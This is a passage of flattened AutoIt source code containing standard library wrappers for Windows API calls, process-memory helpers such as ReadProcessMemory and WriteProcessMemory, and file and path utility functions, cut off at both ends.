SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setbkcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setbkmode($hdc, $ibkmode) Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcapture($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcursor($hcursor) Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setdefaultprinter($sprinter) Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0) Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setendoffile($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setevent($hevent) Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0) Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setfocus($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setfont($hwnd, $hfont, $fredraw = True) _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd") EndFunc Func _winapi_sethandleinformation($hobject, $imask, $iflags) Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False) If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3 If NOT $iscolorref Then $i_transcolor = Hex(String($i_transcolor), 6) $i_transcolor = Execute("0x00" & StringMid($i_transcolor, 5, 2) & StringMid($i_transcolor, 3, 2) & StringMid($i_transcolor, 1, 2)) EndIf Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setparent($hwndchild, $hwndparent) Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setprocessaffinitymask($hprocess, $imask) Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setsyscolors($velements, $vcolors) Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors) Local $ielementnum If NOT $iscarray AND NOT $isearray Then $ielementnum = 1 ElseIf $iscarray OR $isearray Then If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False) If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False) $ielementnum = UBound($velements) EndIf Local $telements = DllStructCreate("int Element[" & $ielementnum & "]") Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]") Local $pelements = DllStructGetPtr($telements) Local $pcolors = DllStructGetPtr($tcolors) If NOT $isearray Then DllStructSetData($telements, "Element", $velements, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($telements, "Element", $velements[$x], $x + 1) Next EndIf If NOT $iscarray Then DllStructSetData($tcolors, "NewColor", $vcolors, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1) Next EndIf Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "ptr", $pelements, "ptr", $pcolors) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_settextcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setwindowlong($hwnd, $iindex, $ivalue) _winapi_setlasterror(0) Local $sfuncname = "SetWindowLongW" If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowplacement($hwnd, $pwindowplacement) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True) Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0) Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowtext($hwnd, $stext) Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_showcursor($fshow) Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_showerror($stext, $fexit = True) _winapi_msgbox(266256, "Error", $stext) If $fexit Then Exit EndFunc Func _winapi_showmsg($stext) _winapi_msgbox(64 + 4096, "Information", $stext) EndFunc Func _winapi_showwindow($hwnd, $icmdshow = 5) Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_stringfromguid($pguid) Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "ptr", $pguid, "wstr", "", "int", 40) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_sublangid($lgid) Return BitShift($lgid, 10) EndFunc Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0) Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_twipsperpixelx() Local $lngdc, $twipsperpixelx $lngdc = _winapi_getdc(0) $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx) _winapi_releasedc(0, $lngdc) Return $twipsperpixelx EndFunc Func _winapi_twipsperpixely() Local $lngdc, $twipsperpixely $lngdc = _winapi_getdc(0) $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy) _winapi_releasedc(0, $lngdc) Return $twipsperpixely EndFunc Func _winapi_unhookwindowshookex($hhk) Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags) Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatewindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitforinputidle($hprocess, $itimeout = -1) Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_waitforsingleobject($hhandle, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True) Local $sunicodetype = "ptr" If IsDllStruct($punicode) Then $punicode = DllStructGetPtr($punicode) Else If NOT IsPtr($punicode) Then $sunicodetype = "wstr" EndIf Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, "") Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]") Local $pmultibyte = DllStructGetPtr($tmultibyte) $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", $pmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, "") If $bretstring Then Return DllStructGetData($tmultibyte, 1) Return $tmultibyte EndFunc Func _winapi_windowfrompoint(ByRef $tpoint) Local $tpointcast = DllStructCreate("int64", DllStructGetPtr($tpoint)) Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "int64", DllStructGetData($tpointcast, 1)) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_writeconsole($hconsole, $stext) Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[4] Return $aresult[0] EndFunc Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr") Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[5] Return $aresult[0] EndFunc Global Const $gmem_fixed = 0 Global Const $gmem_moveable = 2 Global Const $gmem_nocompact = 16 Global Const $gmem_nodiscard = 32 Global Const $gmem_zeroinit = 64 Global Const $gmem_modify = 128 Global Const $gmem_discardable = 256 Global Const $gmem_not_banked = 4096 Global Const $gmem_share = 8192 Global Const $gmem_ddeshare = 8192 Global Const $gmem_notify = 16384 Global Const $gmem_lower = 4096 Global Const $gmem_valid_flags = 32626 Global Const $gmem_invalid_handle = 32768 Global Const $gptr = $gmem_fixed + $gmem_zeroinit Global Const $ghnd = $gmem_moveable + $gmem_zeroinit Global Const $mem_commit = 4096 Global Const $mem_reserve = 8192 Global Const $mem_top_down = 1048576 Global Const $mem_shared = 134217728 Global Const $page_noaccess = 1 Global Const $page_readonly = 2 Global Const $page_readwrite = 4 Global Const $page_execute = 16 Global Const $page_execute_read = 32 Global Const $page_execute_readwrite = 64 Global Const $page_guard = 256 Global Const $page_nocache = 512 Global Const $mem_decommit = 16384 Global Const $mem_release = 32768 Global Const $process_terminate = 1 Global Const $process_create_thread = 2 Global Const $process_set_sessionid = 4 Global Const $process_vm_operation = 8 Global Const $process_vm_read = 16 Global Const $process_vm_write = 32 Global Const $process_dup_handle = 64 Global Const $process_create_process = 128 Global Const $process_set_quota = 256 Global Const $process_set_information = 512 Global Const $process_query_information = 1024 Global Const $process_suspend_resume = 2048 Global Const $process_all_access = 2035711 Global Const $tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem" Func _memfree(ByRef $tmemmap) Local $pmemory = DllStructGetData($tmemmap, "Mem") Local $hprocess = DllStructGetData($tmemmap, "hProc") Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release) DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess) If @error Then Return SetError(@error, @extended, False) Return $bresult EndFunc Func _memglobalalloc($ibytes, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $iflags, "ulong_ptr", $ibytes) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memglobalfree($hmem) Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmem) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memgloballock($hmem) Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memglobalsize($hmem) Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memglobalunlock($hmem) Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hmem) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _meminit($hwnd, $isize, ByRef $tmemmap) Local $aresult = DllCall("User32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) Local $iprocessid = $aresult[2] If $iprocessid = 0 Then Return SetError(1, 0, 0) Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process_vm_write) Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True) Local $ialloc = BitOR($mem_reserve, $mem_commit) Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page_readwrite) If $pmemory = 0 Then Return SetError(2, 0, 0) $tmemmap = DllStructCreate($tagmemmap) DllStructSetData($tmemmap, "hProc", $hprocess) DllStructSetData($tmemmap, "Size", $isize) DllStructSetData($tmemmap, "Mem", $pmemory) Return $pmemory EndFunc Func _memmovememory($psource, $pdest, $ilength) DllCall("kernel32.dll", "none", "RtlMoveMemory", "ptr", $pdest, "ptr", $psource, "ulong_ptr", $ilength) If @error Then Return SetError(@error, @extended) EndFunc Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize) Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "ptr", $pdest, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "ptr") If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem") If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size") Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect) Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect) Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _memvirtualfree($paddress, $isize, $ifreetype) Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype) Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func __mem_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False) Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return $aresult[0] If NOT $fdebugpriv Then Return 0 Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error, @extended, 0) _security__setprivilege($htoken, "SeDebugPrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $iret = 0 If NOT @error Then $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) $ierror = @error $ilasterror = @extended If $aresult[0] Then $iret = $aresult[0] _security__setprivilege($htoken, "SeDebugPrivilege", False) If @error Then $ierror = @error $ilasterror = @extended EndIf EndIf DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken) Return SetError($ierror, $ilasterror, $iret) EndFunc Func _filecountlines($sfilepath) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $sfilecontent = StringStripWS(FileRead($hfile), 2) FileClose($hfile) Local $atmp If StringInStr($sfilecontent, @LF) Then $atmp = StringSplit(StringStripCR($sfilecontent), @LF) ElseIf StringInStr($sfilecontent, @CR) Then $atmp = StringSplit($sfilecontent, @CR) Else If StringLen($sfilecontent) Then Return 1 Else Return SetError(2, 0, 0) EndIf EndIf Return $atmp[0] EndFunc Func _filecreate($sfilepath) Local $hopenfile = FileOpen($sfilepath, $fo_overwrite) If $hopenfile = -1 Then Return SetError(1, 0, 0) Local $hwritefile = FileWrite($hopenfile, "") FileClose($hopenfile) If $hwritefile = -1 Then Return SetError(2, 0, 0) Return 1 EndFunc Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0) Local $hsearch, $sfile, $sfilelist, $sdelim = "|" $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\" If NOT FileExists($spath) Then Return SetError(1, 1, "") If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "") If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "") $hsearch = FileFindFirstFile($spath & $sfilter) If @error Then Return SetError(4, 4, "") While 1 $sfile = FileFindNextFile($hsearch) If @error Then ExitLoop If ($iflag + @extended = 2) Then ContinueLoop $sfilelist &= $sdelim & $sfile WEnd FileClose($hsearch) If NOT $sfilelist Then Return SetError(4, 4, "") Return StringSplit(StringTrimLeft($sfilelist, 1), "|") EndFunc Func _fileprint($s_file, $i_show = @SW_HIDE) Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show) If @error Then Return SetError(@error, @extended, 0) If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0) Return 1 EndFunc Func _filereadtoarray($sfilepath, ByRef $aarray) Local $hfile = FileOpen($sfilepath, $fo_read) If $hfile = -1 Then Return SetError(1, 0, 0) Local $afile = FileRead($hfile, FileGetSize($sfilepath)) If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1) If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1) FileClose($hfile) If StringInStr($afile, @LF) Then $aarray = StringSplit(StringStripCR($afile), @LF) ElseIf StringInStr($afile, @CR) Then $aarray = StringSplit($afile, @CR) Else If StringLen($afile) Then Dim $aarray[2] = [1, $afile] Else Return SetError(2, 0, 0) EndIf EndIf Return 1 EndFunc Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0) If NOT IsArray($a_array) Then Return SetError(2, 0, 0) Local $last = UBound($a_array) - 1 If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last If $i_base < 0 OR $i_base > $last Then $i_base = 0 Local $hfile If IsString($file) Then $hfile = FileOpen($file, $fo_overwrite) Else $hfile = $file EndIf If $hfile = -1 Then Return SetError(1, 0, 0) Local $errorsav = 0 For $x = $i_base To $i_ubound If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then $errorsav = 3 ExitLoop EndIf Next If IsString($file) Then FileClose($hfile) If $errorsav Then Return SetError($errorsav, 0, 0) Return 1 EndFunc Func _filewritelog($slogpath, $slogmsg, $iflag = -1) Local $iopenmode = $fo_append Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg If $iflag <> -1 Then $smsg &= @CRLF & FileRead($slogpath) $iopenmode = $fo_overwrite EndIf Local $hopenfile = FileOpen($slogpath, $iopenmode) If $hopenfile = -1 Then Return SetError(1, 0, 0) Local $iwritefile = FileWriteLine($hopenfile, $smsg) Local $iret = FileClose($hopenfile) If $iwritefile = -1 Then Return SetError(2, $iret, 0) Return $iret EndFunc Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0) If $iline <= 0 Then Return SetError(4, 0, 0) If NOT IsString($stext) Then Return SetError(6, 0, 0) If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0) If NOT FileExists($sfile) Then Return SetError(2, 0, 0) Local $sread_file = FileRead($sfile) Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF) If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0) Local $hfile = FileOpen($sfile, $fo_overwrite) If $hfile = -1 Then Return SetError(3, 0, 0) $sread_file = "" For $i = 1 To $asplit_file[0] If $i = $iline Then If $foverwrite = 1 Then If $stext <> "" Then $sread_file &= $stext & @CRLF Else $sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF EndIf ElseIf $i < $asplit_file[0] Then $sread_file &= $asplit_file[$i] & @CRLF ElseIf $i = $asplit_file[0] Then $sread_file &= $asplit_file[$i] EndIf Next FileWrite($hfile, $sread_file) FileClose($hfile) Return 1 EndFunc Func _pathfull($srelativepath, $sbasepath = @WorkingDir) If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath Local $sfullpath = StringReplace($srelativepath, "/", "\") Local Const $sfullpathconst = $sfullpath Local $spath Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\" For $i = 1 To 2 $spath = StringLeft($sfullpath, 2) If $spath = "\\" Then $sfullpath = StringTrimLeft($sfullpath, 2) Local $nserverlen = StringInStr($sfullpath, "\") - 1 $spath = "\\" & StringLeft($sfullpath, $nserverlen) $sfullpath = StringTrimLeft($sfullpath, $nserverlen) ExitLoop ElseIf StringRight($spath, 1) = ":" Then $sfullpath = StringTrimLeft($sfullpath, 2) ExitLoop Else $sfullpath = $sbasepath & "\" & $sfullpath EndIf Next If $i = 3 Then Return "" If StringLeft($sfullpath, 1) <> "\" Then If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then $sfullpath = $sbasepath & "\" & $sfullpath Else $sfullpath = "\" & $sfullpath EndIf EndIf Local $atemp = StringSplit($sfullpath, "\") Local $apathparts[$atemp[0]], $j = 0 For $i = 2 To $atemp[0] If $atemp[$i] = ".." Then If $j Then $j -= 1 ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then $apathparts[$j] = $atemp[$i] $j += 1 EndIf Next $sfullpath = $spath If NOT $brootonly Then For $i = 0 To $j - 1 $sfullpath &= "\" & $apathparts[$i] Next Else $sfullpath &= $sfullpathconst If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath) EndIf While StringInStr($sfullpath, ".\") $sfullpath = StringReplace($sfullpath, ".\", "\") WEnd Return $sfullpath EndFunc Func _pathgetrelative($sfrom, $sto) If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\" If StringRight($sto, 1) <> "\" Then $sto &= "\" If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1)) Local $asfrom = StringSplit($sfrom, "\") Local $asto = StringSplit($sto, "\") If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1)) Local $i = 2 Local $idiff = 1 While 1 If $asfrom[$i] <> $asto[$i] Then $idiff = $i ExitLoop EndIf $i += 1 WEnd $i = 1 Local $srelpath = "" For $j = 1 To $asto[0] If $i >= $idiff Then $srelpath &= "\" & $asto[$i] EndIf $i += 1 Next $srelpath = StringTrimLeft($srelpath, 1) $i = 1 For $j = 1 To $asfrom[0] If $i > $idiff Then $srelpath = "..\" & $srelpath EndIf $i += 1 Next If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1) Return $srelpath EndFunc Func _pathmake($szdrive, $szdir, $szfname, $szext) If StringLen($szdrive) Then If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":" EndIf If StringLen($szdir) Then If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\" EndIf If StringLen($szext) Then If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext EndIf Return $szdrive & $szdir & $szfname & $szext EndFunc Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext) Local $drive = "" Local $dir = "" Local $fname = "" Local $ext = "" Local $pos Local $array[5] $array[0] = $szpath If StringMid($szpath, 2, 1) = ":" Then $drive = StringLeft($szpath, 2) $szpath = StringTrimLeft($szpath, 2) ElseIf StringLeft($szpath, 2) = "\\" Then $szpath = StringTrimLeft($szpath, 2) $pos = StringInStr($szpath, "\") If $pos = 0 Then $pos = StringInStr($szpath, "/") If $pos = 0 Then $drive = "\\" & $szpath $szpath = "" Else $drive = "\\" & StringLeft($szpath, $pos - 1) $szpath = StringTrimLeft($szpath, $pos - 1) EndIf EndIf Local $nposforward = StringInStr($szpath, "/", 0, -1) Local $nposbackward = StringInStr($szpath, "\", 0, -1) If $nposforward >= $nposbackward Then $pos = $nposforward Else $pos = $nposbackward EndIf $dir = StringLeft($szpath, $pos) $fname = StringRight($szpath, StringLen($szpath) - $pos) If StringLen($dir) = 0 Then $fname = $szpath $pos = StringInStr($fname, ".", 0, -1) If $pos Then $ext = StringRight($fname, StringLen($fname) - ($pos - 1)) $fname = StringLeft($fname, $pos - 1) EndIf $szdrive = $drive $szdir = $dir $szfname = $fname $szext = $ext $array[1] = $drive $array[2] = $dir $array[3] = $fname $array[4] = $ext Return $array EndFunc Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1) Local $iretval = 0 Local $ncount, $sendswith If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1) Local $hfile = FileOpen($szfilename, $fo_read) If $hfile = -1 Then Return SetError(1, 0, -1) Local $s_totfile = FileRead($hfile, FileGetSize($szfilename)) If StringRight($s_totfile, 2) = @CRLF Then $sendswith = @CRLF ElseIf StringRight($s_totfile, 1) = @CR Then $sendswith = @CR ElseIf StringRight($s_totfile, 1) = @LF Then $sendswith = @LF Else $sendswith = "" EndIf Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF) FileClose($hfile) Local $hwritehandle = FileOpen($szfilename, $fo_overwrite) If $hwritehandle = -1 Then Return SetError(2, 0, -1) For $ncount = 1 To $afilelines[0] If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then $afilelines[$ncount] = 